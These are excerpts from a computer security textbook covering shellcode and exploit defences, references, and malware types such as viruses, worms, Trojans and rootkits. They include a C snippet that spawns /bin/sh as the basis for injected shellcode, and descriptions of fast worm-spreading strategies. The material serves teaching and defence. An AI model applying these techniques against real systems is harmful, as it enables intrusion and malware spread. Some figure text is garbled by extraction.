EXECVE SHELL ( BACKGROUND ). Sample C code to create an interactive shell is:
char *name[2];
name[0] = "sh"; /* NUL denotes a byte with value 0x00 */
name[1] = NULL; /* NULL denotes a pointer of value 0 */
execve("/bin/sh", name, NULL);
We view execve() as the model library wrapper to the exec() syscall, with general form:
execve(path, argv[ ], envp[ ])
Here path (pointer to string) is the pathname of the file to be executed; "v" in the name
execve signals a vector argv of pointers to strings (the first of which names the file to exe-
cute); "e" signals an optional envp argument pointer to an array of environment variables
(each entry a pointer to a NUL-terminated string name=value); NULL pointers terminate
argv and envp. The exec-family calls launch (execute) the specified executable, replac-
ing the current process image, and ceding control to it (file descriptors and PID/process id
are inherited or passed in). The filename in the path argument may be a binary executable
or a script started by convention with: #! interpreter [optional-arg]. Other exec-
family calls may essentially be mapped onto execve(). One is execl(path, arg0, ...)
where "l" is mnemonic for list, and individual arguments beyond path are in a NULL-
ended list of pointers to NUL-terminated strings; arg0 specifies the name of the file to
execute (usually the same as in path, the latter being relied on to locate the executable).
Thus alternative code to start up a shell is:
char *s = "/bin/sh"; execl(s, s, 0x00)
Compiling this C code results in a relatively short machine code instruction sequence,
easily supplied by an attacker as, e.g., program input to a stack-allocated buffer. Note that
the kernel’s exec syscall then does the bulk of the work to create the shell.
‡S HELLCODE : TECHNICAL CHALLENGES . Some tedious technical conditions
constrain binary shellcode—but pose little barrier to diligent attackers, and solutions are
easily found online. Two challenges within injected code are: eliminating NUL bytes
(0x00), and relative addressing. NUL bytes affect string-handling utilities. Before in-
jected code is executed as shellcode, it is often processed by libc functions—for example,
178 Chapter 6. Software Security—Exploits and Privilege Escalation
if injection occurs by a solicited input string, then string-processing routines will treat a
NUL byte in any opcode as end-of-string. This issue is overcome by use of alternative
instructions and code sequences avoiding opcodes containing 0x00. Relative addressing
(within injected shellcode) is necessary for position-independent code, as the address at
which shellcode will itself reside is not known—but standard coding practices address
this, using (Program Counter) PC-relative addressing where supported; on other archi-
tectures (e.g., x86), a machine register is loaded with the address of an anchor shellcode
instruction, and machine operations use addressing relative to the register. Overall, once
one expert figures out shellcode details, automated tools allow easy replication by others.
For early surveys on buffer overflow defenses, see Wilander [65] and Cowan [22].
For systematic studies of memory safety and memory corruption bugs, see van der Veen
[61] and Szekeres [57]; similarly for control flow integrity specifically, see Burow [12].
Dereferencing dangling pointers (pointers to already freed memory) results in use-after-
free errors, or double-free errors if freed a second time, both leading to memory safety
violations; for defenses, see Caballero [13] and Lee [39], and secure heap allocators
(Silvestro [53] provides references) to protect heap metadata, including by tactics similar
to ASLR (below). For run-time bounds checking, see Jones [35]. Miller’s improvements
[42] to C string handling libraries have enjoyed adoption (but not by the GNU C library).
For memory-safe dialects of C (these require code porting and run-time support), see
CCured [44] and Cyclone [34]. For stack canaries, see StackGuard [21], and its extension
PointGuard [20], which puts canaries next to code pointers, including in heap data. Forrest
[28] proposed randomizing the memory layout of stacks and other data; related address
space layout randomization (ASLR) techniques were popularized by the Linux PaX project
circa 2001, but attacks remain [51]. Keromytis [37] surveys other proposals to counter
code injection using randomization, including instruction set randomization. On format
string vulnerabilities, see the black-hat exposition by scut [49]; for defenses, see Shankar
[52] and FormatGuard [19]. Shacham’s collection [50, 11, 47] explains return-to-libc
attacks [55] and return-oriented programming (ROP) generalizations; see also Skowyra
[54]. For heap spraying and defenses, see NOZZLE [46] and ZOZZLE [23].
For static analysis to detect buffer overruns, see Wagner [64]; see also Engler [26, 6],
and a summary of Coverity’s development of related tools [8]. A model-checking security
analysis tool called MOPS (MOdel Checking Programs for Security) [17] encodes rules
for safe programming (e.g., temporal properties involving ordered sequences of opera-
tions), builds a model, and then uses compile-time program analysis to detect possible
rule violations. The WIT tool (Write Integrity Testing) [2] protects against memory error
exploits, combining static analysis and run-time instrumentation. For discussion of vul-
nerability assessment, penetration testing and fuzzing, see Chapter 11. For manual code
inspection, see Fagan [27]. For evidence that shellcode may be difficult to distinguish
from non-executable content, see Mason [40].
References (Chapter 6)
[1] M. Abadi, M. Budiu, Ú. Erlingsson, and J. Ligatti. Control-flow integrity. In ACM Comp. & Comm.
Security (CCS), pages 340–353, 2005. Journal version: ACM TISSEC, 2009.
[2] P. Akritidis, C. Cadar, C. Raiciu, M. Costa, and M. Castro. Preventing memory error exploits with WIT.
In IEEE Symp. Security and Privacy, pages 263–277, 2008.
[3] Aleph One (Elias Levy). Smashing the stack for fun and profit. In Phrack Magazine. 8 Nov 1996, vol.7
no.49, file 14 of 16, http://www.phrack.org.
[4] C. Anley, J. Heasman, F. Lindner, and G. Richarte. The Shellcoder’s Handbook: Discovering and
Exploiting Security Holes (2nd edition). Wiley, 2007.
[5] anonymous. Once upon a free()... In Phrack Magazine. 11 Aug 2001, vol.11 no.57, file 9 of 18,
http://www.phrack.org (for summaries see: Dowd [25, p. 184-186], Aycock [7, p. 119-123]).
[6] K. Ashcraft and D. R. Engler. Using programmer-written compiler extensions to catch security holes.
In IEEE Symp. Security and Privacy, pages 143–159, 2002.
[7] J. Aycock. Computer Viruses and Malware. Springer Science+Business Media, 2006.
[8] A. Bessey, K. Block, B. Chelf, A. Chou, B. Fulton, S. Hallem, C. Gros, A. Kamsky, S. McPeak, and
D. R. Engler. A few billion lines of code later: using static analysis to find bugs in the real world.
Comm. ACM, 53(2):66–75, 2010.
[9] M. Bishop and M. Dilger. Checking for race conditions in file accesses. Computing Systems, 9(2):131–
152, 1996.
[10] D. Brumley, D. X. Song, T. Chiueh, R. Johnson, and H. Lin. RICH: Automatically protecting against
integer-based vulnerabilities. In Netw. Dist. Sys. Security (NDSS), 2007.
[11] E. Buchanan, R. Roemer, H. Shacham, and S. Savage. When good instructions go bad: Generalizing
return-oriented programming to RISC. In ACM Comp. & Comm. Security (CCS), pages 27–38, 2008.
[12] N. Burow, S. A. Carr, J. Nash, P. Larsen, M. Franz, S. Brunthaler, and M. Payer. Control-flow integrity:
Precision, security, and performance. ACM Computing Surveys, 50(1):16:1–16:33, 2017.
[13] J. Caballero, G. Grieco, M. Marron, and A. Nappa. Undangle: Early detection of dangling pointers
in use-after-free and double-free vulnerabilities. In Int’l Symp. Soft. Testing & Anal. (ISSTA), pages
133–143, 2012.
[14] X. Cai, Y. Gui, and R. Johnson. Exploiting Unix file-system races via algorithmic complexity attacks.
In IEEE Symp. Security and Privacy, pages 27–44, 2009.
[15] S. Chari, S. Halevi, and W. Z. Venema. Where do you want to go today? Escalating privileges by
pathname manipulation. In Netw. Dist. Sys. Security (NDSS), 2010.
[16] H. Chen, D. Dean, and D. A. Wagner. Model checking one million lines of C code. In Netw. Dist. Sys.
Security (NDSS), 2004.
[17] H. Chen and D. A. Wagner. MOPS: An infrastructure for examining security properties of software. In
ACM Comp. & Comm. Security (CCS), pages 235–244, 2002. See also [16], [48].
[18] M. Conover and w00w00 Security Development. w00w00 on heap overflows. https://github.com/
benwaffle/Senior-Experience/blob/master/doc/w00w00-heap-overflows.txt, Jan 1999.
180
References (Chapter 6) 181
[43] mudge (Peiter Zatko). How to write Buffer Overflows. 20 Oct 1995, available online.
[44] G. C. Necula, J. Condit, M. Harren, S. McPeak, and W. Weimer. CCured: type-safe retrofitting of
legacy software. ACM Trans. Program. Lang. Syst., 27(3):477–526, 2005.
[45] M. Payer and T. R. Gross. Protecting applications against TOCTTOU races by user-space caching of
file metadata. In Virtual Execution Environments (VEE), pages 215–226, 2012.
[46] P. Ratanaworabhan, V. B. Livshits, and B. G. Zorn. NOZZLE: A defense against heap-spraying code
injection attacks. In USENIX Security, pages 169–186, 2009.
[47] R. Roemer, E. Buchanan, H. Shacham, and S. Savage. Return-oriented programming: Systems, lan-
guages, and applications. ACM Trans. Inf. Systems and Security, 15(1):2:1–2:34, 2012.
[48] B. Schwarz, H. Chen, D. A. Wagner, J. Lin, W. Tu, G. Morrison, and J. West. Model checking an entire
Linux distribution for security violations. In Annual Computer Security Applications Conf. (ACSAC),
pages 13–22, 2005.
[49] scut / team teso. Exploiting Format String Vulnerabilities (version 1.2). 1 Sept 2001, online; follows a
Dec. 2000 Chaos Communication Congress talk, https://events.ccc.de/congress/.
[50] H. Shacham. The geometry of innocent flesh on the bone: return-into-libc without function calls (on
the x86). In ACM Comp. & Comm. Security (CCS), pages 552–561, 2007.
[51] H. Shacham, M. Page, B. Pfaff, E. Goh, N. Modadugu, and D. Boneh. On the effectiveness of address-
space randomization. In ACM Comp. & Comm. Security (CCS), pages 298–307, 2004.
[52] U. Shankar, K. Talwar, J. S. Foster, and D. A. Wagner. Detecting format string vulnerabilities with type
qualifiers. In USENIX Security, 2001.
[53] S. Silvestro, H. Liu, T. Liu, Z. Lin, and T. Liu. Guarder: A tunable secure allocator. In USENIX
Security, pages 117–133, 2018. See also “FreeGuard” (CCS 2017) for heap allocator background.
[54] R. Skowyra, K. Casteel, H. Okhravi, N. Zeldovich, and W. W. Streilein. Systematic analysis of defenses
against return-oriented programming. In Reseach in Attacks, Intrusions, Defenses (RAID), 2013.
[55] Solar Designer. “return-to-libc” attack. Bugtraq, Aug. 1997.
[56] A. Sotirov. Bypassing memory protections: The future of exploitation. USENIX Security (talk), 2009.
https://www.usenix.org/legacy/events/sec09/tech/slides/sotirov.pdf, video online.
[57] L. Szekeres, M. Payer, T. Wei, and R. Sekar. Eternal war in memory. IEEE Security & Privacy,
12(3):45–53, 2014. Longer systematization (fourth author D. Song) in IEEE Symp. Sec. and Priv. 2013.
[58] A. S. Tanenbaum. Modern Operating Systems (3rd edition). Pearson Prentice Hall, 2008.
[59] D. Tsafrir, T. Hertz, D. Wagner, and D. D. Silva. Portably solving file TOCTTOU races with hardness
amplification. In USENIX File and Storage Tech. (FAST), 2008. Also: ACM Trans. on Storage, 2008.
[60] E. Tsyrklevich and B. Yee. Dynamic detection and prevention of race conditions in file accesses. In
USENIX Security, 2003.
[61] V. van der Veen, N. dutt-Sharma, L. Cavallaro, and H. Bos. Memory errors: The past, the present, and
the future. In Reseach in Attacks, Intrusions, Defenses (RAID), pages 86–106, 2012.
[62] J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2001.
[63] H. Vijayakumar, J. Schiffman, and T. Jaeger. S TING: Finding name resolution vulnerabilities in pro-
grams. In USENIX Security, pages 585–599, 2012. See also Vijayakumar, Ge, Payer, Jaeger, “J IGSAW:
Protecting resource access by inferring programmer expectations”, USENIX Security 2014.
[64] D. A. Wagner, J. S. Foster, E. A. Brewer, and A. Aiken. A first step towards automated detection of
buffer overrun vulnerabilities. In Netw. Dist. Sys. Security (NDSS), 2000.
[65] J. Wilander and M. Kamkar. A comparison of publicly available tools for dynamic buffer overflow
prevention. In Netw. Dist. Sys. Security (NDSS), 2003.
[66] G. Wurster and J. Ward. Towards efficient dynamic integer overflow detection on ARM processors.
Technical report, BlackBerry Limited, Apr. 2016.
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 7
Malicious Software
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
Malicious Software
This chapter discusses malicious software (malware) in categories: computer viruses and
worms, rootkits, botnets and other families. Among the many possible ways to name
and classify malware, we use groupings based on characteristics—including propagation
tactics and malware motives—that aid discussion and understanding. We consider why it
can be hard to stop malware from entering systems, to detect it, and to remove it.
Malware often takes advantage of specific software vulnerabilities to gain a foothold
on victim machines. Even when vulnerabilities are patched, and software updates elim-
inate entire classes of previous vulnerabilities, it remains worthwhile to understand past
failures, for awareness of recurring failure patterns. Thus in a number of cases here and
in other chapters, we discuss some malware instances even if the specific details exploited
are now well understood or repaired in software products of leading vendors. The lessons
remain valuable to reinforce good security design principles, lest we repeat past mistakes.
184
7.1. Defining malware 185
came with pre-installed software from device manufacturers. Expert information technol-
ogy (IT) staff would update or install new operating system or application software from
master copies on local storage media via CD ROM or floppy disks. Software upgrades
were frustratingly slow. Today’s ease of deploying and updating software on computing
devices has greatly facilitated rapid evolution and progress in software systems—as well
as deployment of malware. Allowing end-users to easily authorize, install and update al-
most any software on their devices opened new avenues for malware to gain a foothold,
e.g., by tricking users to “voluntarily” install software that misrepresents its true function-
ality (e.g., ransomware) or has hidden functionality (Trojan horse software). Users also
have few reliable signals (see Chapter 9) from which to identify the web site a download
arrives from, or whether even a properly identified site is trustworthy (legitimate sites
may become compromised). These issues are exacerbated by the high “churn rate” of
software on network infrastructure (servers, routers) and end-user devices. Nonetheless,
an evolving set of defenses allows us to (almost) keep up with attackers.
Entry Normal
point program
(unshaded) Shi0ed
down Run virus
(a) (b) code first (c) (d)
Figure 7.1: Virus strategies for code location. Virus code is shaded. (a) Shift and prepend.
(b) Append. (c) Overwrite from top. (d) Overwrite at interior.
(c) Overwrite the host file, starting from the top. The host program is destroyed (so it
should not be critical to the OS’s continuing operation). This increases the chances
Virus strategies. (a) Shi0 and prepend. (b) Append. (c) Overwrite top. (d) Overwrite interior.
that the virus is noticed, and complicates its removal (a removal tool will not have the
original program file content available to restore).
(d) Overwrite the host file, starting from some interior point (with luck, a point that exe-
cution is expected to reach). As above, a negative side effect is damaging the original
program. However an advantage is gained against virus detection tools that, as an
optimization, take shortcuts such as scanning for viruses only at the start and end of
files—this strategy may evade such tools.
Other variations involve relocating parts of program files, copying into temporary files,
and arranging control transfers. These have their own complications and advantages in
different file formats, systems, and scenarios; the general ideas are similar. If the target
program file is a binary executable, address adjustments may be required if code segments
are shifted or relocated; these issues do not arise if the target is an OS shell script.
‡Exercise (Shell script viruses). Aside from binary executables, programs with virus-
like properties can be created using command shells and scripts. Explain, with examples,
how Unix shell script viruses work (hint: [36]).
‡V IRUSES : ALTERNATE DEFINITION . Using command shells and scripts, and en-
vironment variable settings such as the search order for executable programs, virus-like
programs can replicate without embedding themselves in other programs—an example is
what are called companion viruses. Szor’s alternative definition for a computer virus is
thus: a program that recursively and explicitly copies a possibly evolved copy of itself.
B RAIN VIRUS (1986). The Brain virus, commonly cited as the first PC virus, is a
boot sector virus.1 Networks were less common; most viruses spread from an infected
program on a floppy disk, to one or more programs on the PC in which the floppy was
inserted, then to other PCs the floppy was later inserted into. On startup, an IBM PC would
read, from read-only memory (ROM), code for its basic input/output system (BIOS). Next,
early PCs started their loading process from a floppy if one was present. After the BIOS,
the first code executed was read from a boot sector, which for a floppy was its first sector.
Execution of boot sector code would result in further initialization and then loading of the
OS into memory. Placing virus code in this boot sector resulted in its execution before
the OS. Boot sector viruses overwrite or replace-and-relocate the boot sector code, so
1 Similar malware is called a bootkit (Section 7.4); malware that runs before the OS is hard to detect.
7.2. Viruses and worms 189
that virus code runs first. The Brain virus occasionally destroyed the file allocation table
(FAT) of infected floppies, causing loss of user files. It was not, however, particularly
malicious—and although stealthy,2 the virus binary contained the note “Contact us for
vaccination” and the correct phone number and Pakistani address of the two brothers who
wrote it! On later PCs, the boot sector was defined by code at a fixed location (the first
sector on the hard disk) of the master boot record (MBR) or partition record. Code written
into the MBR would be run—making that an attractive target to write virus code into.
CIH C HERNOBYL VIRUS (1998-2000). The CIH or Chernobyl virus, found first
in Taiwan and affecting Windows 95/98/ME machines primarily in Asia, was very de-
structive (per-device) and costly (in numbers of devices damaged). It demonstrated that
malware can cause hardware as well as software damage. It overwrites critical sectors of
the hard disk including the partition map, crashing the OS; depending on the device’s file
allocation table (FAT) details, the drive must be reformatted with all data thereon lost. (I
hope you always carefully back up your data!) Worse yet, CIH attempts to write to the
system BIOS firmware—and on some types of Flash ROM chip, the Flash write-enable
sequence used by CIH succeeds. Victim machines then will not restart, needing their
Flash BIOS chip reprogrammed or replaced. (This is a truly malicious payload!) CIH
was also called Spacefiller—unlike viruses that insert themselves at the top or tail of a
host file (Figure 7.1), it inserts into unused bytes within files (in file formats that pad up
to block boundaries), and splits itself across such files as necessary—thus also defeating
anti-virus programs that look for files whose length changes.
DATA FILE VIRUSES AND RELATED MALWARE . Simple text files (plain text with-
out formatting) require no special processing to display. In contrast, modern data doc-
uments contain embedded scripts and markup instructions; “opening” them for display
or viewing triggers associated applications to parse, interpret, template, and preprocess
them with macros for desired formatting and rendering. In essence, the data document is
“executed”. Two types of problems follow. 1) Data documents may be used to exploit
software vulnerabilities in the associated programs, resulting in a virus on the host ma-
chine. 2) Such malware may spread to other files of the same file type through common
templates and macro files; and to other machines by document sharing with other users.
‡Exercise (Macro viruses: Concept 1995, Melissa 1999). (a) Summarize the techni-
cal details of Concept virus, the first “in-the-wild” macro virus infecting Microsoft Word
documents. (b) Summarize the technical details of another macro virus that infected such
documents: Melissa. (Aside: neither had a malicious payload, but Melissa gained atten-
tion as the first mass-mailing email virus. Spread by Outlook Express, it chose 50 email
addresses from the host’s address book as next-victim targets.)
‡Exercise (Data file malware: PDF). Find two historical incidents involving malware
in Adobe PDF (Portable Document Format) files, and summarize the technical details.
V IRUS DETECTION : UNDECIDABLE PROBLEM . It turns out to be impossible for
a single program to correctly detect all viruses. To prove this we assume the existence
2 Brain was the first malware known to use rootkit-like deception. Through a hooked interrupt handler
(Section 7.5), a user trying to read the boot sector would be shown a saved copy of the original boot sector.
190 Chapter 7. Malicious Software
of such a program and show that this assumption results in a logical contradiction (thus,
proof by contradiction). Suppose you claim to hold a virus detector program V that, given
any program P, can return a {TRUE , FALSE} result V (P) correctly answering: “Is P a
virus?” Using your program V , I build the following program instance P∗ :
program P∗ : if V(P∗ ) then exit, else infect-a-new-target
Now let’s see what happens if we run V on P∗ . Note that P∗ is a fixed program (does not
change). Exactly one of two cases can occur, depending on whether V declares P∗ a virus:
CASE 1: V(P∗ ) is TRUE. That is, V declares that P∗ is a virus.
In this case, running P∗ , it simply exits. So P∗ is actually not a virus.
CASE 2: V(P∗ ) is FALSE. That is, V declares that P∗ is not a virus.
In this case running P∗ will infect a new target. So P∗ is, in truth, a virus.
In both cases, your detector V fails to deliver on the claim of correctly identifying a virus.
Note this argument is independent of the details of V . Thus no such virus detector V can
exist—because its existence would result in this contradiction.
W HAT THIS MEANS . This proof sketch may seem like trickery, but it is indeed a
valid proof. Should we then give up trying to detect viruses in practice? No. Even if no
program can detect all viruses, the next question is whether useful programs can detect
many, or even some, viruses. That answer is yes—and thus the security industry’s history
of anti-virus products. But as detection techniques improve, the agents creating viruses
continue to develop new techniques, making detection increasingly difficult. This results
in an attacker-defender move-countermove game of increasing complexity.
V IRUS DETECTION IN PRACTICE . A basic method to detect malware is to obtain
its object code, and then find malware signatures—relatively short byte-sequences that
uniquely identify it. Candidate signatures are regression-tested against extensive pro-
gram databases, to ensure uniqueness (to avoid mistakenly flagging a valid program as a
virus). Then, signatures for malware active in the field are stored in a dataset, and before
any executable is run by a user, an AV (anti-virus) program intervenes to test it against
the dataset using highly efficient pattern-matching algorithms. This denylist-type mecha-
nism protects against known malware, but not new malware (Section 7.7 discusses such
“zero-days” and using system call hooking to intervene). Alternatively, an allowlist-type
mechanism to detect malware uses integrity-checker or change-detection programs (e.g.,
Tripwire, Chapter 2), using lists of known-good hashes of valid programs. An AV program
may forego byte-matching on a to-be-run executable by use of such allowlists, or if the
executable has a valid digital signature of a trusted party. An extension of byte-match
signatures is the use of behavioral signatures; these aim to identify malware by detecting
sequences of actions (behaviors) pre-identified as suspicious (e.g., system calls, attempts
to disable certain programs, massive file deletions). Briefly pre-running target executa-
bles in an emulated environment may be done to facilitate behavioral detection, and so
that malware self-decrypts (below), which then allows byte-pattern matching.
‡Exercise (Self-stopping worm). Look up, and summarize, the defining technical
characteristics of a self-stopping worm (hint: [33]).
7.3. Virus anti-detection and worm-spreading techniques 191
decryptor decryptor
decryptor en)re
(sta)c) (evolves
virus
each external
evolves
instance) key
per
fixed body fixed body fixed body instance
(encrypted) (encrypted) (encrypted) (not
encrypted)
(c) Virus with external decryption key. To complicate manual analysis of an infected file
that is captured, the decryption key is stored external to the virus itself. There are
many possibilities, e.g., in another file on the same host machine or on an external
machine. The key could be generated on the fly from host-specific data. It could
be retrieved from a networked device whose address is obtained through a level of
indirection—such as a search engine query, or a domain name lookup with a fre-
quently changed name-address mapping.
(d) Metamorphic virus. These use no encryption and thus have no decryptor portion.
Instead, on a per-infection basis, the virus rewrites its own code, mutating both its
body (infection and payload functionality) and the mutation engine itself. Elaborate
metamorphic viruses have carried source code and enlisted compiler tools on host
machines to aid their task.
The above strategies aim to hide the virus code itself. Other tactics aim to hide telltale
signs of infection, such as changes to filesystem attributes (e.g., file bytelength, time-
stamp), the location or existence of code, and the existence of running processes and the
resources they consume. Section 7.4 notes hiding techniques (associated with rootkits).
‡I MPORTANCE OF REVERSE ENGINEERING AS A SKILL . As malware authors use
various means of obfuscation and encryption to make it difficult to detect and remove mal-
ware, reverse engineering is an important skill for those in the anti-virus (anti-malware)
industry whose job it is to understand malware, identify it and provide tools that remove it.
Defensive experts use extensive knowledge of machine language, interactive debuggers,
disassemblers, decompilers and emulation tools.
AUTO - ROOTERS . An auto-rooter is a malicious program that scans (Chapter 11) for
vulnerable targets, then immediately executes a remote exploit on a network service (per
network worms) to obtain a root shell and/or install a rootkit, often with backdoor and as-
sociated botnet enrolment. Such tools have fully automated “point-and-click” interfaces
(requiring no technical expertise), and may accept as input a target address range. Vul-
nerable targets are automatically found based on platform and software (network services
hosted, and version) for which exploits are in hand. Defenses include: disabling unused
network services, updating software to patch the latest known vulnerabilities, use of fire-
walls (Chapter 10) and intrusion detection systems (Chapter 11) to block and/or detect
scans at gateways, and on-host anti-virus software to stop or detect intrusions.
L OCALIZED AND CONTEXT- AWARE SCANNING . Worms spread by a different
means than viruses. A worm’s universe of possible next-targets is the set of network de-
vices reachable from it—traditionally the full IPv4 address space, perhaps parts of IPv6. A
simple spreading strategy is to select as next-target a random IPv4 address; a subset will
be populated and vulnerable. The Code Red II worm (2001) used a localized-scanning
strategy, selecting a next-target IP address according to the following probabilities:
0.375: an address within its host machine’s class B address space (/16 subnet);
0.5: an address within its host machine’s class A network (/8 network);
0.125: an address chosen randomly from the entire IPv4 address space.
7.3. Virus anti-detection and worm-spreading techniques 193
The idea is that if topologically nearby machines are similarly vulnerable, targeting local
machines spreads malware faster once already inside a corporate network. This method,
those used by the Morris worm (below), and other context-aware scanning strategies se-
lect next-target addresses by harvesting information related to the current host machine,
including: email address lists, peer-to-peer lists, URLs on disk, and addresses in browser
bookmark and favorite site lists. These are all expected to be populated addresses.
FASTER WORM SPREADING . The following ideas have been brought to the commu-
nity’s attention as means that improve the speed at which worms may spread:
1. hit-list scanning. The time to infect all members of a vulnerable population is dom-
inated by early stages before a critical mass is built. Thus to accelerate the initial
spreading, lists are built of perhaps 10,000 hosts believed to be more vulnerable to
infection than randomly selected addresses—generated by stealthy scans (Chapter 11)
beforehand over a period of weeks or months. The first instance of a worm retains half
the list, passing the other half on to the next victim, and each proceeds likewise.
2. permutation scanning. To reduce re-contacting machines already infected, next-victim
scans are made according to a fixed ordering (permutation) of addresses. Each new
worm instance starts at a random place in the ordering; if a given worm instance learns
it has contacted a target already infected, the instance resets its own scanning to start
at a random place in the original ordering. A machine infected in the hit-list stage is
reset to start scanning after its own place in the ordering.
3. Internet-scale hit-lists. A list of (most) servers on the Internet can be pre-generated by
scanning tools. For a given worm that spreads by exploits that a particular web server
platform is vulnerable to, the addresses of all such servers can be pre-identified by
scanning (vs. a smaller hit-list above). In 2002, when this approach was first proposed,
there were 12.6 million servers on the Internet; a full uncompressed list of their IPv4
addresses (32 bits each) requires only 50 megabytes.
Using hit-list scanning to quickly seed a population (along with context-aware scanning
perhaps), then moving to permutation scanning to reduce re-contacting infected machines,
and then Internet-scale hit-lists to reach pre-filtered vulnerable hosts directly, it was es-
timated that a flash worm could spread to all vulnerable Internet hosts in just tens of
seconds, “so fast that no human-mediated counter-response is possible”.
T HE 1988 I NTERNET WORM . The Morris worm was the first widescale incident
demonstrating the power of network worms. It directly infected 10% of Internet devices
(only Sun 3 systems and VAX computers running some variants of BSD Unix) then in use,
but worm-related traffic overloaded networks and caused system crashes through resource
consumption—and thus widespread denial of service. This was despite no malicious pay-
load. Upon gaining a running process on a target machine, the initial base malware, like a
“grappling hook”, made network connections to download further components—not only
binaries but also source code to be compiled on the local target (for compatibility). It took
steps to hide itself. Four software artifacts exploited were:
1) a stack buffer overrun in fingerd (the Unix finger daemon, which accepts network
connections resulting from the finger command);
194 Chapter 7. Malicious Software
Figure 7.3: Trojan horse (courtesy C. Landwehr, original photo, Mt. Olympus Park, WI)
T ROJAN HORSE . By legend, the Trojan horse was an enormous wooden horse of-
fered as a gift to the city of Troy. Greek soldiers hid inside as it was rolled within the
city gates, emerging at nightfall to mount an attack. Today, software delivering malicious
functionality instead of, or in addition to, purported functionality—with the malicious part
possibly staying hidden—is called a Trojan horse or Trojan software. Some Trojans are
installed by trickery through fake updates—e.g., users are led to believe they are installing
critical updates for Java, video players such as Adobe Flash, or anti-virus software; other
Trojans accompany miscellaneous free applications such as screen savers repackaged with
accompanying malware. Trojans may perform benign actions while doing their evil in the
background; an executable greeting card delivered by email may play music and display
3 rexec allows execution of shell commands on a remote computer, if a username-password is also sent.
4 Another Berkeley r-command, rsh sends shell commands for execution by a shell on a remote computer.
7.4. Stealth: Trojan horses, backdoors, keyloggers, rootkits 195
graphics, while deleting files. The malicious functionality may become apparent immedi-
ately after installation, or might remain undetected for some time. If malware is silently
installed without end-user knowledge or actions, we tend not to call it a Trojan, reserving
this term for when the installation of software with extra functionality is “voluntarily”
accepted into a protected zone (albeit without knowledge of its full functionality).
BACKDOORS . A backdoor is a way to access a device bypassing normal entry points
and access control. It allows ongoing stealthy remote access to a machine, often by en-
abling a network service. A backdoor program contacted via a backdoor may be used for
malware installation and updates—including a RAT (Remote Access Trojan), a malicious
analogue of legitimate remote administration or remote desktop tools. Backdoors may
be stand-alone or embedded into legitimate programs—e.g., standard login interface code
may be modified to grant login access to a special-cased username without requiring a
password. A backdoor is often included in (provided by) Trojan software and rootkits.
ROOTKITS . A rootkit on a computing device is a set of software components that:
1) is surreptitiously installed and takes active measures to conceal its ongoing presence;
2) seeks to control or manipulate selected applications and/or host OS functions; and
3) facilitates some long-term additional malicious activity or functionality.
The techniques used to remain hidden and control other software functionality distinguish
rootkits from other malware. The end-goal, however, is facilitating malicious payload
functionality (e.g., surveillance, data theft, theft of CPU cycles). The main categories are
user mode and kernel mode rootkits (hypervisor rootkits are noted on page 208).
U SER MODE VS . KERNEL MODE . The term rootkit originates from Unix systems,
where a superuser (user whose processes have UID 0) is often associated with username
root; a system hosting a malicious user process running with UID 0 is said to be rooted.
Recall that while a superuser process has highest privileges among user processes, it is still
a user process, with memory allocated in user space, i.e., non-kernel memory; user pro-
cesses do not have access to kernel memory, hardware, or privileged instructions. When
malware was (later) created that compromised kernel software, the same term rootkit
was reused—creating ambiguity. To be clear: the mode bit is a hardware setting, which
changes from user mode to supervisor (kernel) mode, e.g., on executing the opcode that
invokes system calls; in contrast, superuser implies UID 0, a data value recognized by
OS software. A root (UID 0) process does not itself have kernel privileges; it can access
kernel resources only by a syscall invoking a kernel function. Thus a user mode rootkit
is a rootkit (per our opening definition) that runs in user space, typically with superuser
privileges (UID 0); a kernel mode rootkit runs in kernel space (i.e., kernel software was
compromised), with access to kernel resources and memory, and all processor instruc-
tions. Kernel mode rootkits are more powerful, and harder to detect and remove. Thus
the single-word term rootkit is an incomplete description in general, and if interpreted
literally as providing root-level privileges, understates the power of kernel rootkits.
ROOTKIT OVERVIEW, GOALS . In discussing rootkits, attacker refers to the deploy-
ing agent. While rootkits are malicious from the target machine’s viewpoint, some have,
from the deploying agent’s viewpoint, intent that is noble or serves public good, e.g.,
196 Chapter 7. Malicious Software
this compiling capability into the compiler executable, even after this functionality is re-
moved from the compiler source code. (Hint: [63]. This is Thompson’s classic paper.)
‡Exercise (Memory isolation meltdown). Memory isolation is a basic protection.
Ideally, the memory of each user process is isolated from others, and kernel memory is
isolated from user memory. a) Explain how memory isolation is achieved on modern
commodity processors (hint: [31, Sect. 2.2]). b) Summarize how the Meltdown attack de-
feats memory isolation by combining a side-channel attack with out-of-order (i.e., early)
instruction execution (hint: [31]; this exploits hardware optimization, not software vul-
nerabilities). c) Discuss how memory isolation between user processes, and between user
and kernel space, relate to principle P5 (ISOLATED - COMPARTMENTS).
applicaAon
#i
...
syscall code
subsAtute code
Figure 7.4: System call hijacking. (a) Hooking an individual system call; the substitute
code (hook function) may do preprocessing, call the original syscall code (which returns
to the Ch.7. System call hijacking: common methods.
substitute), and finish with postprocessing. (b) Overwriting individual system call.
(a) Hooking an individual system call.
(c) Hooking the entire syscall table by using a substitute table.
(b) Over-wriAng individual system call.
(c) Hooking the enAre syscall table.
xx
198 Chapter 7. Malicious Software
Original Detoured
execu;on path Detour
execu;on path func;on
Calling Calling Trampoline
func;on func;on
preprocess func;on
Target Target CALL TRMP instrn_T1
... func;on ... func;on postprocess JMP TGT+x
CALL TRGT instrn_T1 CALL TRGT JMP DTR RET
... ...
instrn_T2 instrn_T2
... ...
instrn_T3 instrn_T3
instrn_T4 instrn_T4
RET RET
Figure 7.5: Inline hooking, detour and trampoline. A trampoline replaces the overwritten
instruction, and enables the target function’s return to the detour for postprocessing.
xx
7.5. Rootkit detail: installation, object modification, hijacking 199
1. Standard kernel module installation. A superuser may install a supposedly valid kernel
module (e.g., device driver) with Trojan rootkit functionality. Similarly, an attacker
may socially engineer a superuser to load a malicious kernel module (LKM, below).
A superuser cannot directly access kernel memory, but can load kernel modules.
2. Exploiting a vulnerability to kernel code—e.g., a buffer overflow in a kernel network
daemon, or parsing errors in code that alters kernel parameters.
3. Modifying the boot process mechanism. For example, a rogue boot loader might alter
the kernel after it is loaded, but before the kernel runs.
4. Modifying code or data swapped (paged) to disk. If kernel memory is swapped to disk,
and that memory is writable by user processes, kernel integrity may be modified on
